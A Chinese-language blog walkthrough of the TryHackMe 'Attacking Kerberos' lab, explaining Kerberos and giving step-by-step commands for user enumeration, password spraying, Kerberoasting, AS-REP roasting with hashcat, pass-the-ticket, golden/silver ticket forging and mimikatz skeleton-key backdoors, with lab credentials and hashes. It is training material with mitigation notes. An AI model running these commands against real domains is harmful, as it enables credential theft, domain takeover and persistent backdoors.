【THM】Attacking Kerberos(Kerberos渗透基础)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/attackingkerberos

本文相关内容:了解如何滥用与Windows域控制器相关的Kerberos票据授予服务。

image

概念介绍

本文将涵盖Kerberos渗透以及windows票据授予服务的一些基础知识,我们将介绍以下内容:

  • 使用 Kerbrute 和 Rubeus等工具进行初始枚举
  • 了解Kerberoasting
  • 使用 Rubeus 和 Impacket 进行 AS-REP Roasting攻击
  • 金/银票攻击
  • 票据传递
  • 使用mimikatz的万能钥匙攻击

本文将与真实环境下的应用程序相关,并且很可能对CTF比赛没有任何帮助,但是它会给你很好的入门知识,让你了解如何通过攻击 Kerberos 将你的权限提升到域管理员,并允许你接管和控制一个网络。

在学习本文知识点之前,建议你先提前了解一般的后渗透基础知识、活动目录(AD域)基础知识和 Windows 命令行相关知识。

关于Kerberos协议概念的参考:https://zhuanlan.zhihu.com/p/506162978

Kerberos是什么?

Kerberos 是 Microsoft Windows 域的默认身份验证服务,通过使用第三方票据授权和更强的加密方式,它比 NTLM 更加“安全”。尽管NTLM相比于Kerberos有更多的攻击向量可供选择,但就像我们可以利用NTLM一样,Kerberos也仍然有一些潜在的漏洞能够被利用。

kerberos是一种域内认证协议(从 Windows Server 2003 开始,Kerberos 是Active Directory 中的默认身份验证协议),Kerberos的标志是三头狗,狗头分别代表以下角色:

  • Client客户端
  • Server服务端或者说AP (Application Server-应用服务器) ,比如web服务器
  • KDC(Key Distribution Center) = DC(Domain Controller),KDC是密钥分发中心,由域控担任。

image

image

Kerberos常用术语

  • Ticket:票据,是网络对象互相访问的凭证。

  • Ticket Granting Ticket (TGT):TGT是一种身份验证票据(临时凭证,相当于入场券--可以请求其他票据),用于从 TGS处 请求域中特定资源的服务票据。

  • Key Distribution Center (KDC):密钥分发中心是一种用于发布 TGT 和服务票据的服务,由 Authentication Service 和 Ticket Granting Service 组成。

  • Authentication Service (AS):是KDC的一部分,身份验证服务(AS)发出 TGT 以供域中的 TGS 使用,以请求访问其他机器和服务票据。

  • Ticket Granting Service (TGS):是KDC的一部分,票据授予服务(TGS)获取 TGT 并将票据返回到域上的机器。

  • Service Principal Name (SPN):服务主体名称(SPN)是赋予服务实例以将服务实例与域服务帐户相关联的标识符,Windows 要求服务具有域服务帐户,这就是服务需要 SPN 集的原因。

  • KDC Long Term Secret Key (KDC LT Key):KDC 密钥基于 KRBTGT 服务帐户,它用于加密 TGT 和签署 PAC。

  • Client Long Term Secret Key (Client LT Key) :客户端(长期)密钥基于计算机或服务帐户,它用于检查加密的时间戳并加密会话密钥。

  • Service Long Term Secret Key (Service LT Key):服务端(长期)密钥基于服务帐户。 它用于加密服务票据的服务部分并签署 PAC。

  • Session Key:在发行TGT时由 KDC 发行会话密钥(session key),用户在请求服务票据时将向 KDC 提供会话密钥(session key)以及 TGT。

  • Privilege Attribute Certificate (PAC):特权属性凭证,PAC拥有用户的所有相关信息,它将与TGT一起发送到KDC,由Target LT Key和KDC LT Key签名,以验证用户。

AS-REQ/预认证过程

Kerberos 身份验证中的 AS-REQ 步骤从用户向 KDC 请求 TGT 开始。为了验证用户并为用户创建 TGT,KDC 必须遵循以下确切步骤:第一步是让用户加密一个时间戳 NT 散列并将其发送到 AS,然后KDC 尝试使用来自用户的 NT 散列来解密时间戳,如果成功,KDC 将为用户发出 TGT 和会话密钥。

TGT的内容

为了理解服务票据是如何创建和验证的,我们得从票据的来源开始;用户提供TGT(包含会话密钥)给 KDC,作为回报,KDC 会验证 TGT 并返回一个服务票据。

image

Service Ticket的内容

要理解 Kerberos 身份验证是如何工作的,首先需要理解这些票据包含什么以及它们是如何验证的。

服务票据(Service Ticket)包含两部分: 服务提供的部分和用户提供的部分。

  • Service Portion: 用户详细信息,会话密钥,用服务帐户的NTLM 散列(Service LT Key)加密票据(下图右边显示的加密方式可能有误);
  • User Portion: 有效性时间戳,会话密钥,使用 TGT 会话密钥加密。

image

Kerberos 身份验证概述

image

AS-REQ - 1.) 客户端向域控请求身份验证票据或TGT。

AS-REP - 2.) 密钥分发中心(KDC)验证客户端并发回加密的 TGT。

TGS-REQ - 3.) 客户端将加密的 TGT 发送到具有客户端希望访问的服务的服务主体名称(SPN)的票据授予服务器(TGS)。

TGS-REP - 4.)密钥分发中心(KDC)验证用户的 TGT 以及用户对服务的访问权限,然后向客户端发送服务的有效会话密钥

AP-REQ - 5.) 客户端请求服务并发送有效的会话密钥以证明用户具有访问权限。

AP-REP - 6.) 服务授予客户端一个访问权限。

Kerberos票据概述

你将看到的主要票据是TGT,它们可以以各种形式出现,比如Rubeus 中的.kirbi 、 Impacket里面的.ccache。常见的是.kirbi票据,这个票据通常是用base64进行编码的,可用于各种攻击。

TGT仅与KDC 一起使用以获取服务票据,当你将 TGT 提供给服务端后,服务端将获取用户详细信息、会话密钥,然后使用服务帐户NTLM哈希 加密服务票据的服务部分;你提供的TGT会给出加密的时间戳、会话密钥,然后使用TGT会话密钥加密服务票据的用户部分------服务票据由服务部分和用户部分共同组成,这样就形成了客户端需要的服务票据。最后,KDC 将对 TGT 进行身份验证并返回客户端所请求服务的服务票据。

普通的TGT 仅适用于与其连接的给定服务帐户,但是KRBTGT服务账户将允许你获得所求的任何服务票据,从而让你能够访问目标域上的任何内容。

Kerberos提权攻击的一般需求

  • Kerbrute 枚举-不需要域访问
  • 票据传递- 以用户身份访问所需的域
  • Kerberoasting-以任何需要的用户身份访问
  • AS-REP Roasting-以任何需要的用户身份访问
  • 黄金票据-需要得到完整的域(域管理)允许
  • 白银票据-需要获取服务账户NTLM hash值
  • 万能钥匙-需要得到完整的域(域管理)允许

答题

image

使用Kerbrute枚举

Kerbrute 是一种流行的枚举工具,通过滥用 Kerberos 预身份验证来实现暴力破解和枚举有效的活动目录(AD)用户。

为了完成本次实验,需要将目标的DNS域名与目标机器的IP添加到攻击机里面的/etc/hosts文件内容中:

10.10.24.188  CONTROLLER.local

image

滥用预身份认证概述

通过暴力匹配Kerberos预身份验证,你不会触发帐户登录失败事件(该事件可能会向蓝队抛出警告),当使用Kerberos工具时,你可以通过仅向 KDC 发送单个UDP帧来进行暴力破解,从而允许你从用户字典中枚举目标域上的用户。

Kerbrute 安装

1.) 为你的操作系统下载预编译的二进制文件- https://github.com/ropnop/kerbrute/releases

2.) 将 kerbrute_linux_amd64 重命名为 kerbrute

3.) chmod +x kerbrute - 使 kerbrute 有可执行权限

使用 Kerbrute 枚举用户

通过枚举用户,你可以了解目标域上存在哪些用户帐户以及哪些帐户可能用于访问网络。

1.) 使用cd命令,进入你放置 Kerbrute 的目录

2.) 在此处下载将要使用的字典(User.txt)

3.) ./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt - 这将使用指定的字典从域控制器中暴力枚举用户帐户

image

动手实操,完成枚举并找到其余的用户账户,其中比较重要的是服务帐户,在攻击机上使用以下命令:

#终端界面切换到kerbrute工具的放置目录下
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local /usr/share/wordlists/Active-Directory-Wordlists/smallUsers.txt

image

答题卡

image

使用Rubeus收割以及暴力破解票据

要开始此实验,需要使用RDP或 SSH 连接到凭据所在的目标机器:

Username: Administrator
Password: P@$$W0rd
Domain: controller.local
target-ip:10.10.24.188

Rubeus 是攻击 Kerberos 的强大工具,它是对 kekeo 工具的改编。

Rubeus 具有多种攻击手法和功能,使其成为攻击 Kerberos 的通用工具,它的功能包括:超-哈希传递攻击、票据请求和续签、票据管理、票据提取、票据收割、票据传递、AS-REP Roasting攻击、Kerberoasting攻击等......

更多关于 Rubeus的信息,请参考github项目:https://github.com/GhostPack/Rubeus

在本次实验环境中,Rubeus 已经编译好并放置在目标机器上。

image

偷一下目标机上的工具:

scp -r Administrator@controller.local:\Downloads /home

image

使用Rubeus收割票据

Harvesting模式:收集正在向KDC进行传输的票据并将其保存以用于其他攻击,例如票据传递攻击。

先登录目标机器,然后执行以下操作:

1.) cd Downloads- 导航到Rubeus文件 所在的目录

2.) Rubeus.exe harvest /interval:30- 该命令告诉 Rubeus 每间隔30秒收割一次 TGT

image

image

使用 Rubeus 进行暴力破解/密码喷洒

Rubeus 既可以暴力破解密码,也可以通过密码喷洒破解用户帐户。当进行暴力破解密码操作时,你可以使用单个用户帐户和密码字典来查看哪个密码适用于给定的用户帐户。在进行密码喷洒操作时,你需要提供一个密码,例如 Password1,然后对域中所有找到的用户帐户进行“密码喷洒”,以找出可能拥有该密码的用户帐户。

关于密码喷洒:这种攻击将获取一个给定的基于 Kerberos服务的密码,然后将其喷洒到所有找到的用户上,并能创建一个 .kirbi 票据,此票据是一个TGT,可用于从 KDC处获取服务票据,也可用于实现票据传递攻击等手法。

在使用 Rubeus 进行密码喷洒之前,你需要将目标ip地址以及对应的域控制器域名添加到目标机的hosts文件中,可以使用 echo 命令来完成:

echo 10.10.24.188 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts

1.)cd Downloads - 导航到 Rubeus 所在的目录

2.) Rubeus.exe brute /password:Password1 /noticket 采用给定的密码并将其“喷洒”给所有找到的用户,然后为该用户提供一个 .kirbi 格式的TGT

image

请注意如何使用此攻击,因为它可能会根据帐户锁定策略将你锁定在网络之外。

答题卡

image

使用Rubeus以及Impacket进行Kerberoasting攻击

在本小节中,我们将介绍最流行的 Kerberos 攻击之一——Kerberoasting。Kerberoasting 允许用户为" 具有已注册的SPN " 的任何服务请求服务票据,然后使用该票据来破解服务密码。如果服务有注册的 SPN,那么它可以是 Kerberoastable,但是此种攻击的成功与否 还取决于服务的密码强度、服务是否可跟踪以及所破解的服务帐户的权限级别。

要枚举 Kerberoastable 帐户,建议使用 BloodHound (此处使用的是Rubeus)这样的工具来查找所有 Kerberoastable 帐户,如果在域管理员权限下使用该工具,它可以让你查看kerberoastable的帐户类型,以及他们(Kerberoastable账户)与域的其余部分的连接类型。

为了执行Kerberoasting攻击,我们将同时使用 Rubeus 和 Impacket,当然,还有其他可用于 Kerberoasting攻击的工具,例如 kekeo 和 Invoke-Kerberoast,请自行了解。

Rubeus工具已经被放在目标机器上,它位于/Downloads文件夹中。

使用Rubeus进行Kerberoasting攻击(使用ssh连接到目标机)

1.) cd Downloads- 导航到 Rubeus 所在的目录

2.)Rubeus.exe kerberoast 这将转储任何 kerberoastable 服务账户的 Kerberos 哈希

image

kerberoastable服务账户:SQLService和HTTPService

将哈希复制到攻击者机器上并将其放入 .txt 文件中,以便我们可以使用 hashcat 破解它。

如果hash值需要去空格保存,可以使用--在线字符串去空格工具:http://www.cuduwang.com/pb2.asp

3.) hashcat -m 13100 -a 0 hash.txt Pass.txt - 现在破解所获取的哈希值。

此处使用的密码字典链接为:https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/Pass.txt

在攻击机上执行以下命令,以破解HTTPService服务账户的密码:

#上面给出的命令只是参考,请结合具体情况,不要照搬
hashcat -m 13100 -a 0 hash1.txt /usr/share/wordlists/Active-Directory-Wordlists/Midpassword.txt #记得切换到hash1.txt文件所在目录
#编号13100由hash值的前缀结合hashcat官方示例网站可以得知
# https://hashcat.net/wiki/doku.php?id=example_hashes

image

HTTPService服务账户密码为:Summer2020

使用Impacket进行Kerberoasting攻击(在攻击机上)

Impacket 版本自 0.9.20 以来一直不稳定,建议安装 Impacket < 0.9.20

1.)cd /opt 导航到你的首选目录以将工具保存在此处

2.) 下载预编译包: https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19

3.)cd Impacket-0.9.19 导航到 impacket 目录

4.) pip install .这将安装所有需要的依赖项

进行Kerberoasting攻击:

1.) cd /opt/impacket/examples/ - 导航到 GetUserSPNs.py 所在的位置

2.) sudo python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.24.188 -request- 这将转储它可以在目标域上找到的所有 kerberoastable 帐户的 Kerberos 哈希,就像Rubeus工具一样;但是,此处的操作不必在目标机器上进行,可以在攻击机上远程完成。

image

3.) hashcat -m 13100 -a 0 hash.txt Pass.txt- 现在开始破解所获取的哈希值。

在攻击机上执行以下命令,以破解SQLService服务账户的密码:

#上面给出的命令只是参考,请结合具体情况,不要照搬
hashcat -m 13100 -a 0 hash2.txt /usr/share/wordlists/Active-Directory-Wordlists/Midpassword.txt  #记得切换到hash2.txt所在目录
#编号13100由hash值的前缀结合hashcat官方示例网站可以得知
# https://hashcat.net/wiki/doku.php?id=example_hashes

image

SQLService服务账户密码为:MYPassword123#

服务帐户可以做什么?

破解服务帐户密码后,根据服务帐户是否为域管理员,有多种方法可以窃取数据。如果服务帐户是域管理员,你将拥有类似于银票的控制权,并且可以收集重要的数据,例如转储 NTDS.dit。如果服务帐户不是域管理员,你可以使用它来登录其他系统获得立足点或者进行权限升级,或者你可以使用破解的密码来攻击其他服务和域管理员帐户;

许多公司可能会为其服务或域管理员用户重复使用相同或相似的密码。 如果你在进行专业的渗透测试,请注意在大多数情况下 公司关心的是你如何展示风险,他们不希望你泄露数据,他们会为你设定目标或流程以进行内部风险评估。

缓解Kerberoasting攻击的手段

  • 强服务密码 - 如果服务帐户密码强度够高,那么 kerberoasting攻击将无效
  • 不要将服务帐户设为域管理员 - 服务帐户不必是域管理员,如果你不将服务帐户设为域管理员,kerberoasting 将不会那么有效。

答题卡

image

使用Rubeus进行AS-REP Roasting攻击

与 Kerberoasting 非常相似,AS-REP Roasting 会转储禁用 Kerberos 预身份验证的用户帐户的 krbasrep5 哈希值。与 Kerberoasting 不同,这些用户不必是服务帐户,AS-REP Roastable 用户的唯一要求是用户必须禁用预身份验证。

我们将继续使用 Rubeus,就像我们完成kerberoasting攻击以及收割票据一样,因为 Rubeus 有一个非常简单且易于理解的命令来进行 AS-REP Roasting以此来攻击禁用Kerberos 预认证的用户。同样,在AS-REP Roasting攻击中:使用Rubeus 转储hash后,我们将继续使用 hashcat 来破解 krbasrep5 hash值。

还有其他可用于 AS-REP Roasting 的工具,例如 kekeo工具 以及 Impacket 中的 GetNPUsers.py。 相比之下,Rubeus 更易于使用,因为它会自动找到 AS-REP Roastable 用户,而如果你想使用 GetNPUsers.py完成攻击 你必须事先枚举用户才能知道哪些用户可能是 AS-REP Roastable。

AS-REP Roasting概述

在Kerberos预认证期间,用户哈希将用于加密时间戳,域控制器将尝试解密这个时间戳以验证该用户是否使用了正确的哈希并且验证用户没有重播先前的请求。在验证时间戳之后,KDC 将为用户发出一个 TGT。

但是如果目标机器禁用了预身份验证,那么你就可以为任何用户请求任何身份验证数据,KDC 将返回一个可以离线破解的加密 TGT,因为 KDC 跳过了验证用户身份真实性的步骤。

image

使用 Rubeus 转储 KRBASREP5 哈希值(通过ssh连接到目标机)

1.) cd Downloads - 导航到 Rubeus 所在的目录

2.) Rubeus.exe asreproast - 这将运行 AS-REP roast 命令寻找易受AS-REP Roasting攻击的用户,然后转储所发现的AS-REP Roastable用户的哈希值。

image

image

获取到两个账户的krbasrep5 hash值:Admin2和User3

在攻击机上用 hashcat 破解获取的哈希值

1.) 将目标机器上的哈希值传输到攻击者机器上,并将哈希值放入 txt 文件中:复制刚才得到的账户的krbasrep5 hash值,分别保存为hash3.txt和hash4.txt

2.) 在 \(krb5asrep\) 之后插入 23$,这样第一行就是 $krb5asrep\(23\)User.....

hashcat在线案例查询:https://hashcat.net/wiki/doku.php?id=example_hashes

image

3.) hashcat -m 18200 hash.txt Pass.txt - 破解哈希!Rubeus AS-REP Roasting 使用 hashcat 模式为编号18200 。

在攻击机上使用以下命令:

#切换到存有hash值的txt文件所在目录,这里使用的字典和上一小节一样
hashcat -m 18200 hash3.txt /usr/share/wordlists/Active-Directory-Wordlists/Midpassword.txt
hashcat -m 18200 hash4.txt /usr/share/wordlists/Active-Directory-Wordlists/Midpassword.txt

image

image

Admin2密码:P@$$W0rd2

User3密码:Password3

AS-REP Roasting攻击的缓解措施:

  • 有一个强大的密码策略。使用强密码,哈希将需要更长的时间才能破解,从而能够降低这种攻击的效率

  • 除非必要,否则不要关闭 Kerberos 预身份验证,除了保持预身份验证打开之外,几乎没有其他方法可以完全缓解这种攻击。

答题卡

image

使用mimikatz进行票据传递

Mimikatz 是一种非常流行且功能强大的后渗透工具,最常用于在活动目录(AD)网络中转储用户凭据,但也可以使用 mimikatz 从 LSASS 内存中转储 TGT票据。

本小节只是一个概述,因为此处由THM所提供的目标机并不支持网络,并不是一个非常真实的环境。

你可以在目标机上运行此攻击,但是由于目标机的域控制器的设置方式,你将从域管理员升级为域管理员(原地踏步了属于是)。

票据传递概述

本地安全认证子系统服务(Local Security Authority Subsystem Service,缩写 LSASS)

票据传递攻击是通过从机器的 LSASS 内存中转储 TGT来实现的。LSASS 是一个内存进程,它可将凭据存储在 Active Directory 服务器上,并且可以将 Kerberos 票据与其他凭据类型一起存储,它能够充当看门人来接受或拒绝用户所提供的凭据。

你可以像转储哈希一样从 LSASS 内存中转储 Kerberos 票据,当你使用 mimikatz 转储票据时,它会给我们一张 .kirbi票据。如果域管理员票据在 LSASS 内存中,则该攻击就可用于获取域管理员权限;如果周围存在不安全的域服务帐户票据,则此攻击适合进行提权和横向移动。

如果你转储域管理员的票据,然后使用 mimikatz的"PTT-Pass the Ticket攻击" 冒充该票据,以此允许你充当该域管理员,则该攻击能够帮助你将权限提升到域管理员权限。

你可以认为票据传递攻击只是重用现有票据而没有创建或销毁任何其他票据:重用域中另一个用户的现有票据并尝试模拟该票据。

image

准备 Mimikatz & 转储票据(在目标机上)

你需要以管理员身份运行mimikatz相关命令:此处使用与进入目标机器时相同的凭据,通过ssh连接目标机。

1.) cd Downloads - 导航到 mimikatz 所在的目录

2.) mimikatz.exe - 运行 mimikatz

3.) privilege::debug - 请确保输出 [output '20' OK],如果没有,这意味着你没有正确运行 mimikatz 的管理员权限

image

4.) sekurlsa::tickets /export - 这会将所有 .kirbi 票据导出到你当前所在的目录中。

image

在这一步,你还可以使用我们之前收集的来自 Rubeus 的 base 64 编码票据。在寻找要模拟的票据时,建议从krbtgt账户中寻找管理员票据。

使用Mimikatz进行票据传递攻击

现在我们已经准备好票据,我们可以执行票据传递攻击以获得域管理员权限。

1.) kerberos::ptt <ticket> - 在 mimikatz 中使用你之前获得的票据运行此命令,它将缓存并模拟给定的票据。

image

2.) 退出mimikatz ,然后输入命令klist- 这里只是通过列出我们缓存的票据来验证我们是否成功模拟了票据。

image

在接下来的攻击中,我们不会使用 mimikatz。

3.) 你现在已成功冒充了票据,这将赋予你与你所冒充的TGT相同的权限,为了验证这一点,我们可以查看管理员共享。

image

请注意,这只是一个 POC,用于了解如何进行票据传递攻击并获得域管理员权限,实际上的票据传递攻击方式可能会根据你参与的实战环境而有所不同,因此不要将此案例作为如何完成票据传递攻击的明确指南。

票据传递攻击的缓解手段

  • 不要让你的域管理员登录域控制器以外的任何东西 - 这很简单,但是许多域管理员仍然登录到低权限的计算机,留下票据,我们可以用这些票据进行攻击和横向移动。

使用 mimikatz进行黄金票据/白银票据攻击

Mimikatz 是一种非常流行且功能强大的后渗透工具,最常用于在活动目录(AD)网络中转储用户凭据,但是也可以使用 mimikatz 来创建金/银票据。

银票有时比金票更适合用于通过验证,因为它使用时更加隐蔽。如果隐蔽和不被发现很重要,那么银票可能是比金票更好的选择,但是创建这两种票据的方法是完全相同的。 这两种票据之间的主要区别在于,银票仅限于目标服务,而金票可以访问任何 Kerberos 服务。

银票的特定使用场景是 假如你想要访问域的 SQL 服务器,但你当前的受感染用户无权访问该服务器。 你可以通过对该服务进行 kerberoasting 来找到一个可访问的服务帐户以立足,然后你可以转储服务哈希,然后模拟他们的 TGT,以便从 KDC 请求 SQL 服务的服务票证,从而允许你能够访问域的 SQL 服务器。

KRBTGT概述

为了充分了解这些攻击的工作原理,你需要了解 KRBTGT 和 TGT 之间的区别。 KRBTGT 是 KDC 的服务帐户,KDC是向客户端发放所有票据的密钥分发中心。 如果你冒充此帐户并从 KRBTGT中创建一个黄金票据,你就可以为你想要的任何资源创建一个服务票据。 TGT 是 KDC 颁发的服务帐户的票据,并且只能访问 TGT 来自的服务,就像 SQLService 票据一样。

金/银票攻击概述

票据攻击通过转储域上任何用户的TGT来工作,最好是域管理员用户。对于黄金票据,你需要转储 krbtgt用户的票据;而对于白银票据,你需要转储任何想要的服务账户或域管理员账户的票据,这将为你提供服务/域管理员帐户的 SID 或安全标识符,该标识符是每个用户帐户的唯一标识符,然后还将转储相关账户的NTLM哈希值。

你在 mimikatz 金/银票据攻击中将使用上面提到的详细信息,创建一个能够模拟给定服务帐户信息的 TGT。

image

转储 krbtgt 哈希

1.) cd downloads && mimikatz.exe - 导航到 mimikatz 所在的目录并运行 mimikatz

2.) privilege::debug - 确保此命令输出 [Privilege '20' ok]

3.) lsadump::lsa /inject /name:krbtgt - 这将转储哈希以及(创建金票所需的)krbtgt的安全标识符。要创建银票,你需要更改 /name: 以转储域管理员帐户或服务帐户(如 SQLService 帐户)的哈希值。

image

创建金/银票

1.) Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id: - 这是创建金票/银票的命令,只需将服务 NTLM 哈希放入 krbtgt 槽,将服务帐户的 sid 放入 sid,并将 id 更改为 1103(自定义)即可。

Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:1103

image

使用金/银票访问其他机器

1.) misc::cmd - 这将使用 mimikatz 中的给定票据打开一个新的更高权限的命令行界面。

image
此处要在攻击机上通过RDP远程连接到目标机,并且通过RDP远程操作完成整个金票攻击过程,才能在目标机上看到一个打开的新的命令提示符界面。(使用ssh连接目标机进行操作无法看到效果)

#RDP连接命令示意,请自行将ip修改为目标机ip
rdesktop -u Administrator -d controller.local 10.10.24.188  #password:P@$$W0rd

image

2.) 访问你想要查看的机器,你可以访问的内容取决于你决定从中取票的用户的权限,但是如果你从 krbtgt用户中取票,则你可以访问整个网络,因此这种票据被称为黄金票;而银票只能访问票据所对应的用户可以访问的那些内容,如果它是域管理员,它几乎可以访问整个网络,但是它还是比金票的能力稍微低一些。

image

由于tryhackme当前不支持网络,金票攻击实际上将无法进行,在本次实验环境下并不能实现对其他计算机的访问。

答题卡

在mimikatz中使用命令lsadump::lsa /inject /name:sqlservicelsadump::lsa /inject /name:Administrator,可以检索以下哈希值:

image

image

image

使用mimikatz制作Kerberos 后门

除了使用金票和银票保持访问权限外,mimikatz 在攻击 Kerberos 时还有另一个技巧,那就是制作后门。与金票和银票攻击不同,使用mimikatz制作的Kerberos 后门更加微妙,因为它的行为类似于 rootkit,它将自身植入域林的内存中,并允许自己使用主密码访问域中的任何机器。

mimikatz制作的Kerberos 后门通过植入一个滥用 AS-REQ 验证加密时间戳的方式的万能密钥来工作,该万能密钥只能使用 Kerberos RC4 加密。

mimikatz 万能密钥的默认哈希值是 60BA4FCADC466C7A033C178194C03DF6,这使得密码默认为“ mimikatz

本小节只是一个概述部分,并无实际操作环境。

万能钥匙概述

如上所述,万能密钥通过滥用 AS-REQ 加密时间戳来工作,时间戳是使用用户NT哈希值加密的,然后域控制器尝试使用用户NT哈希值解密此时间戳,一旦植入了万能密钥,域控制器就会尝试使用用户NT哈希和万能密钥NT哈希来解密时间戳,从而允许你能够访问目标的域林。

image

准备 Mimikatz

1.) cd Downloads && mimikatz.exe - 导航到 mimikatz 所在的目录并运行 mimikatz

2.) privilege::debug - 这应该是运行 mimikatz 的标准,因为 mimikatz 需要本地管理员访问权限(非管理员权限无法在mimikatz中使用debug模式)

image

使用 mimikatz 安装万能钥匙

1.) misc::skeleton - 是的!就是这样,但不要低估这个小命令,它非常强大

image

进入域森林

默认凭据将是:“ mimikatz

示例(非实例):net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz - 现在无需管理员密码即可访问共享

示例(非实例):dir \\Desktop-1\c$ /user:Machine1 mimikatz - 在不知道哪些用户可以访问 Desktop-1 的情况下访问 Desktop-1 的目录

万能钥匙不会自行持久化,因为它在内存中运行,但是可以通过使用其他工具和技术使万能钥匙脚本化或持久化。

总结

本文相关知识点的资料链接:

posted @ 2022-10-17 22:21  Hekeatsll  阅读(1105)  评论(0编辑  收藏  举报